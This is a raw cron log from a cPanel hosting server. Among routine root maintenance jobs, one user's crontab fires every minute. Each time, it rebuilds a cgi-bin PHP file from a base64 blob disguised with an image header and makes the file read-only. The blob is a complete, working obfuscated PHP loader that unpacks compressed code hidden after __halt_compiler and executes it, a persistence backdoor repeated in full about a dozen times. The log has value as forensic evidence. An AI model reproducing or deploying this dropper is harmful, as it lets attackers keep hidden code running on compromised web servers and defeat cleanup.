Nov 16 00:08:01 server CROND[7017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:09:01 server CROND[7277]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:09:01 server CROND[7278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:10:01 server CROND[7543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:10:01 server CROND[7544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 00:10:01 server CROND[7546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:10:01 server CROND[7545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:11:01 server CROND[7851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:12:01 server CROND[8113]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:12:01 server CROND[8114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:13:01 server CROND[8485]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:14:01 server CROND[8831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:15:01 server CROND[9162]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:15:01 server CROND[9164]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:15:01 server CROND[9168]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:15:01 server CROND[9169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:15:01 server CROND[9170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:16:01 server CROND[9503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:17:01 server CROND[9766]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:18:01 server CROND[10117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:19:01 server CROND[10377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:20:01 server CROND[10645]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 00:20:01 server CROND[10647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:20:01 server CROND[10648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 00:20:01 server CROND[10649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:20:01 server CROND[10650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
